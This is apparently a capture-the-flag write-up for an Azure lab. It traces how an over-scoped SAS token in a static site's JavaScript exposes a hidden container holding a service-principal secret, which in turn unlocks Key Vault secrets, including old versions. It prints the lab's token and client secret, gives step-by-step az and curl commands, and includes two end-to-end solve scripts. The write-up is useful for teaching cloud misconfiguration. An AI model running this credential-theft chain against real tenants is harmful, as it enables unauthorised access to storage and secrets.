CryptoCabana is a "back up your crypto seed phrase" kiosk hosted as an Azure Storage
static website. The whole chain hangs off one mistake: the site's JavaScript ships an
account-level Shared Access Signature (SAS) token scoped far wider than the page needs.
That token lists a container the page never links, which holds a service-principal
credential, which opens an Azure Key Vault - where the flag is split across three secrets
and the middle one was "rotated" but never purged, leaving the real value in the previous
version. Each analysis step is shown first with the Azure CLI (az, the room's
intended tooling) and then with the equivalent raw curl against the REST API.
Concierge Briefing
By the time he made it back from the breakfast buffet, his wallet had already moved on without him. The transaction was signed, properly signed, just not by him.
He'd backed his seed phrase up weeks ago, into the CryptoCabana kiosk's vault - the one whose landing page promised, in exactly four words, "Backed up. Sleep easy." Somewhere between that promise and this morning, something else got a good look at what was supposed to stay behind glass.
Your objective: find out what the kiosk is quietly trusting to reach into storage on its own, and see how much further that trust actually extends.
@0xMia, posted after breakfast: "the backup kiosk is SO confident. 'sleep easy' it says, reader, do not sleep easy. also: if a value looks freshly rotated, ask yourself what it looked like five minutes before that."
No file handout. The room grants an Azure Portal account
(usr-08043055@thmctf.onmicrosoft.com + password + Temporary Access Pass) and
an in-browser Cloud Shell that comes with az already signed in - this is the
intended entry point:
The provided Azure Cloud Shell. az account show confirms the tenant and the Az-Subs-CTF subscription. Every az command below runs here (or any host with az).
The actual target is one public URL:
https://cryptocabanaf5scjagc.z13.web.core.windows.net/. The response headers
give the platform away - it is an Azure Storage static site (the sub-domain
*.web.core.windows.net and the x-ms-* headers):
$ curl -s -i https://cryptocabanaf5scjagc.z13.web.core.windows.net/ | head
HTTP/1.1 200 OK
Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0
x-ms-version: 2018-03-28
...
The kiosk: paste a seed phrase, click "Back it up". The host name embeds the storage account: cryptocabanaf5scjagc.
Conclusion: a static page (no server-side code) whose only action is a client-side "back it up" button. If it writes to storage from the browser, the credential to do so has to be in what the browser downloads.
Each step leads with az; the curl equivalent hitting the same
Storage / Key Vault REST endpoint follows it.
The page loads app.js. On a static site that script is public - read it. (This
first step is just an HTTP GET; there is no az for "read a file off a website".)
$ curl -s https://cryptocabanaf5scjagc.z13.web.core.windows.net/app.js
const STORAGE_ACCOUNT = "cryptocabanaf5scjagc";
const BACKUPS_CONTAINER = "backups";
const BACKUP_SAS = "?sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D";
... fetch(PUT blob) ...
A SAS token is just a query string; each field narrows what the bearer may do. Decoding it is the whole game:
?sv=2022-11-02 API version
&ss=b signed services : (b)lob
&srt=sco resource types : (s)ervice (c)ontainer (o)bject <- s + c allow enumeration
&sp=rl permissions : (r)ead (l)ist <- note: no (w)rite
&se=2099-12-31... expiry : valid until year 2099
&st=2024-01-01... start : valid from 2024
&spr=https protocol : HTTPS only
&sig=ZAo05W8K... signature : HMAC over the fields above, keyed with the account key
Conclusion: the two fields that matter are srt=sco and sp=rl.
The kiosk only needs to write one blob into backups - yet this token cannot
write at all (no w), and instead grants service- and container-level
list. That mismatch is the entire vulnerability; it is also why the "Back it up"
button fails (below).
The advertised feature is broken: sp=rl has no write permission, so the browser PUT fails. The token's only real power is listing.
srt includes s (service level), so the SAS can enumerate every
container in the account. In az, storage data-plane commands take
--account-name plus --sas-token to authenticate with exactly that
SAS; --query is a JMESPath filter, -o tsv prints plain values.
$ SAS='sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D'
$ az storage container list --account-name cryptocabanaf5scjagc --sas-token "$SAS" --query '[].name' -o tsv
$web
backups
vault
Same via curl - Storage REST, service-level list:
$ curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/?comp=list&$SAS"
<EnumerationResults ...><Containers>
<Container><Name>$web</Name>...</Container>
<Container><Name>backups</Name>...</Container>
<Container><Name>vault</Name>...</Container>
</Containers></EnumerationResults>
Conclusion: three containers. $web (the site) and backups
are expected; vault is never referenced anywhere on the page - exactly "where
the kiosk's own page never once points you".
List the blobs in vault, then download the interesting one.
$ az storage blob list --account-name cryptocabanaf5scjagc -c vault --sas-token "$SAS" --query '[].name' -o tsv
backup-service-account.json
seed_phrase.txt
$ az storage blob download --account-name cryptocabanaf5scjagc -c vault \
-n backup-service-account.json --sas-token "$SAS" -f backup-service-account.json -o none
$ cat backup-service-account.json
{"client_id":"dbcf2923-e4eb-4b72-a0a4-688aa1185cf5",
"client_secret":"UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg",
"key_vault_name":"ccabana-kv-f5scjagc",
"key_vault_uri":"https://ccabana-kv-f5scjagc.vault.azure.net/",
"note":"CryptoCabana backup automation account. Rotate this if it ever leaves the vault. -- IT",
"tenant_id":"8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c"}
Same via curl - list blobs, then read the JSON:
$ curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault?restype=container&comp=list&$SAS"
<Blob><Name>backup-service-account.json</Name>...</Blob>
<Blob><Name>seed_phrase.txt</Name>...</Blob>
$ curl -s "https://cryptocabanaf5scjagc.blob.core.windows.net/vault/backup-service-account.json?$SAS"
{"client_id":"dbcf2923-...","client_secret":"UBX8Q~...","key_vault_uri":"https://ccabana-kv-f5scjagc.vault.azure.net/","tenant_id":"8f8c5f8e-..."}
Conclusion: a full service-principal credential - client id, client secret, tenant -
plus the Key Vault it belongs to. The read-only SAS just leaked the keys to a stronger
identity. (The seed_phrase.txt next to it is the story's stolen wallet; the
flag is in the Key Vault.)
A service principal is a non-human "app" identity. az login --service-principal
signs in with id + secret + tenant instead of a user; --allow-no-subscriptions
is needed because this SP has only Key Vault access, no subscription role. The
curl equivalent is the OAuth2 client-credentials flow: POST the same three
values to the token endpoint and get a Bearer token for vault.azure.net.
$ az login --service-principal -u dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 -p 'UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' --tenant 8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c --allow-no-subscriptions -o none
$ az keyvault secret list --vault-name ccabana-kv-f5scjagc --query '[].name' -o tsv
key-shard-1
key-shard-2
key-shard-3
master-key
Same via curl - OAuth2 client-credentials token, then list secrets:
$ TOK=$(curl -s -X POST "https://login.microsoftonline.com/8f8c5f8e-42d3-4ceb-97ad-241bbf446d6c/oauth2/v2.0/token" \
-d grant_type=client_credentials -d client_id=dbcf2923-e4eb-4b72-a0a4-688aa1185cf5 \
--data-urlencode client_secret='UBX8Q~xM6vawWZ5u2C-VhLlsB2Cx2dAuxcrAlbRg' \
--data-urlencode 'scope=https://vault.azure.net/.default' | jq -r .access_token)
$ curl -s "https://ccabana-kv-f5scjagc.vault.azure.net/secrets?api-version=7.4" -H "Authorization: Bearer $TOK"
{"value":[{"id":".../secrets/key-shard-1",...},{"id":".../secrets/key-shard-2",...},
{"id":".../secrets/key-shard-3",...},{"id":".../secrets/master-key",...}],"nextLink":null}
Conclusion: four secrets. The flag is sharded across the three
key-shard-*; master-key is bait (3.5).
Read each secret's value with az keyvault secret show ... --query value -o tsv
(curl: GET .../secrets/<name>?api-version=7.4).
$ az keyvault secret show --vault-name ccabana-kv-f5scjagc --name master-key --query value -o tsv
ERROR: (Forbidden) Caller is not authorized to perform action on resource.
$ for s in key-shard-1 key-shard-2 key-shard-3; do az keyvault secret show --vault-name ccabana-kv-f5scjagc --name $s --query value -o tsv; done
THM{n0t_ur
Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.
ur_c01ns!}
Same via curl - shard-1 shown; master-key returns the same Forbidden:
$ curl -s "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-1?api-version=7.4" -H "Authorization: Bearer $TOK"
{"value":"THM{n0t_ur", ...}
Conclusion: master-key is walled off by RBAC (Role-Based Access Control)
- a deliberate dead end. Shards 1 and 3 are the ends of the flag. Shard 2's current value is
a taunt: it was overwritten with a note, but Key Vault keeps old versions, and the real
middle piece is still in the pre-rotation one.
az keyvault secret list-versions shows every historical version. Sort by
creation time (JMESPath sort_by(...&attributes.created)) and read the oldest -
what the value "looked like five minutes before" the rotation. A specific version is
addressed with --id (curl: append the version id to the secret path).
$ az keyvault secret list-versions --vault-name ccabana-kv-f5scjagc --name key-shard-2 \
--query 'sort_by([],&attributes.created)[].{created:attributes.created,id:id}' -o tsv
2026-07-28T01:05:05+00:00 https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0 <- older
2026-07-28T01:05:07+00:00 https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/c922c422ffb34671a902389c372314f1 <- current (decoy)
$ az keyvault secret show --id 'https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/c922c422ffb34671a902389c372314f1' --query value -o tsv
Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.
$ az keyvault secret show --id 'https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0' --query value -o tsv
_k3ys_n0t_
Same via curl - list versions, then read current (decoy) and older (real):
$ curl -s "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/versions?api-version=7.4" -H "Authorization: Bearer $TOK"
{"value":[{"id":".../key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0",...},
{"id":".../key-shard-2/c922c422ffb34671a902389c372314f1",...}],...}
$ curl -s "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/c922c422ffb34671a902389c372314f1?api-version=7.4" -H "Authorization: Bearer $TOK"
{"value":"Rotated this after IT flagged it -- old value should still be recoverable if you know where to look.", ...}
$ curl -s "https://ccabana-kv-f5scjagc.vault.azure.net/secrets/key-shard-2/3d6492d2c6f74123bc754a9ded22b2a0?api-version=7.4" -H "Authorization: Bearer $TOK"
{"value":"_k3ys_n0t_", ...}
No single secret is the flag - it is the three shards concatenated in order, and shard-2 must be the pre-rotation value, not the decoy the current version now holds:
key-shard-1 = THM{n0t_ur
key-shard-2 (old) = _k3ys_n0t_ <- previous version, not the current decoy
key-shard-3 = ur_c01ns!}
------------------------------
key-shard-1 + key-shard-2(old) + key-shard-3
= THM{n0t_ur_k3ys_n0t_ur_c01ns!}
Conclusion: the flag is assembled from three separate secrets - shard-1 + shard-2(old) + shard-3 - with the middle piece recovered from the pre-rotation version. "Not your keys, not your coins", and here the keys were never really behind glass at all.
Two scripts run the full chain end to end and print the same flag. Both authenticate with the leaked service principal; pick whichever tooling you have.
solve-az.sh - Azure CLI (needs az + python3):
#!/bin/sh
# CryptoCabana via the Azure CLI (intended-path tooling).
ACCT=cryptocabanaf5scjagc
KV=ccabana-kv-f5scjagc
SAS='sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D'
echo '### containers (SAS list)'
az storage container list --account-name "$ACCT" --sas-token "$SAS" --query '[].name' -o tsv
echo '### blobs in vault'
az storage blob list --account-name "$ACCT" -c vault --sas-token "$SAS" --query '[].name' -o tsv
az storage blob download --account-name "$ACCT" -c vault -n backup-service-account.json \
--sas-token "$SAS" -f backup-service-account.json --no-progress -o none
CID=$(python3 -c 'import json;print(json.load(open("backup-service-account.json"))["client_id"])')
SEC=$(python3 -c 'import json;print(json.load(open("backup-service-account.json"))["client_secret"])')
TEN=$(python3 -c 'import json;print(json.load(open("backup-service-account.json"))["tenant_id"])')
echo '### az login --service-principal'
az login --service-principal -u "$CID" -p "$SEC" --tenant "$TEN" --allow-no-subscriptions -o none
echo '### secrets'
az keyvault secret list --vault-name "$KV" --query '[].name' -o tsv
echo '### master-key (expect RBAC denial)'
az keyvault secret show --vault-name "$KV" --name master-key --query value -o tsv 2>&1 | head -1
# shard 2 was rotated: take the OLDEST version, not the current (decoy) one
OLDID=$(az keyvault secret list-versions --vault-name "$KV" --name key-shard-2 \
--query 'sort_by([],&attributes.created)[0].id' -o tsv)
S1=$(az keyvault secret show --vault-name "$KV" --name key-shard-1 --query value -o tsv)
S2=$(az keyvault secret show --id "$OLDID" --query value -o tsv)
S3=$(az keyvault secret show --vault-name "$KV" --name key-shard-3 --query value -o tsv)
echo "### flag: $S1$S2$S3"
solve-curl.sh - pure REST, no az (needs curl + python3):
#!/bin/sh
# CryptoCabana via raw Storage + Key Vault REST.
ACCT=cryptocabanaf5scjagc
BLOB="https://$ACCT.blob.core.windows.net"
SAS='sv=2022-11-02&ss=b&srt=sco&sp=rl&se=2099-12-31T23:59:59Z&st=2024-01-01T00:00:00Z&spr=https&sig=ZAo05W8KXdSLM9afYCNGogNRV2N5a6aB4dQI3LXz%2Fh0%3D'
echo '### containers:'
curl -s "$BLOB/?comp=list&$SAS" | tr '<' '\n' | grep -A1 'Container>' | grep 'Name>' | sed 's,.*Name>, ,'
SP=$(curl -s "$BLOB/vault/backup-service-account.json?$SAS")
CID=$(printf '%s' "$SP" | python3 -c 'import json,sys;print(json.load(sys.stdin)["client_id"])')
SEC=$(printf '%s' "$SP" | python3 -c 'import json,sys;print(json.load(sys.stdin)["client_secret"])')
TEN=$(printf '%s' "$SP" | python3 -c 'import json,sys;print(json.load(sys.stdin)["tenant_id"])')
KV=$(printf '%s' "$SP" | python3 -c 'import json,sys;print(json.load(sys.stdin)["key_vault_uri"].rstrip("/"))')
TOK=$(curl -s -X POST "https://login.microsoftonline.com/$TEN/oauth2/v2.0/token" \
-d grant_type=client_credentials -d "client_id=$CID" \
--data-urlencode "client_secret=$SEC" \
--data-urlencode 'scope=https://vault.azure.net/.default' \
| python3 -c 'import json,sys;print(json.load(sys.stdin)["access_token"])')
AUTH="Authorization: Bearer $TOK"
S1=$(curl -s "$KV/secrets/key-shard-1?api-version=7.4" -H "$AUTH" | python3 -c 'import json,sys;print(json.load(sys.stdin)["value"])')
S3=$(curl -s "$KV/secrets/key-shard-3?api-version=7.4" -H "$AUTH" | python3 -c 'import json,sys;print(json.load(sys.stdin)["value"])')
# shard 2: oldest version, not the current decoy
OLD=$(curl -s "$KV/secrets/key-shard-2/versions?api-version=7.4" -H "$AUTH" \
| python3 -c 'import json,sys;v=json.load(sys.stdin)["value"];print(sorted(v,key=lambda x:x["attributes"]["created"])[0]["id"].rsplit("/",1)[1])')
S2=$(curl -s "$KV/secrets/key-shard-2/$OLD?api-version=7.4" -H "$AUTH" | python3 -c 'import json,sys;print(json.load(sys.stdin)["value"])')
echo "### flag: $S1$S2$S3"
$ sh solve-az.sh
### containers (SAS list)
$web
backups
vault
### blobs in vault
backup-service-account.json
seed_phrase.txt
### az login --service-principal
### secrets
key-shard-1
key-shard-2
key-shard-3
master-key
### master-key (expect RBAC denial)
ERROR: (Forbidden) Caller is not authorized to perform action on resource.
### flag: THM{n0t_ur_k3ys_n0t_ur_c01ns!}
$ sh solve-curl.sh
### containers:
$web
backups
vault
### flag: THM{n0t_ur_k3ys_n0t_ur_c01ns!}
| # | Stage | Mechanism (az / curl) |
|---|---|---|
| 1 | Leaked SAS | The static site's app.js hard-codes an account SAS scoped
srt=sco / sp=rl - service+container list, far beyond
the single blob write the kiosk needs. |
| 2 | Enumerate storage | az storage container/blob list --sas-token (or Storage REST
?comp=list) reveals an unlinked vault container holding
backup-service-account.json. |
| 3 | Steal an identity | That JSON is a service-principal credential (client id + secret + tenant) plus the target Key Vault URI. |
| 4 | Open the Key Vault | az login --service-principal (or the OAuth2 client-credentials token) then
az keyvault secret list shows three flag shards and an RBAC-blocked
master-key decoy. |
| 5 | Un-rotate shard-2 | az keyvault secret list-versions exposes the pre-rotation version;
reading it by --id (or versioned REST URL) gives the real middle piece.
Concatenate the three shards for the flag. |